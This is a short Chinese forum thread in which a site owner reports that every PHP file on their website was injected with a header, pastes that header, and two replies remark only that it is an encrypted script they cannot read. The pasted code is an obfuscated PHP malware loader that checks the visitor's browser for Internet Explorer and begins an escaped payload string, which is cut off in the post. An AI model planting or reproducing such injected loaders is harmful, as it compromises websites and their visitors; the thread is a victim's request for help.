php网站被人家挂马

webjin

所有的php文件头部都加了
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $cgsfgjilwk = '!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#sv%x5c%x78257-MSV,6<*)ujojR%0opjudovg)!gj!|!*msv%x5c%x7825)}k~~~pd%x5c%x782f#)rrd%x5c%x782f#0x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fepd!>!%x5c%x7825yy)#}#-#%x5c%x7824-%)ufttj%x5c%x7822)gj!|7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<bn%x5c%x7860hfsq)!sp!*#ojneb#-*!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2}_;#)323ldfid>}&;!osvufs}%x5c%x787f;782400~:<h%x5c%x7825_t%x5c%x7825svufs:~:<*9c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825tjw!>!#]y84]275]y83]248]y83]25ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x24-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x785c%x7825w%x5c%x7860TW~%x5c%x7824<c%x7878:<##:>:h%x5c%x7825:<x5c%x7827id%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%xc%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!

fxdj

加密的脚本。

dazeng

看不懂，呵呵~~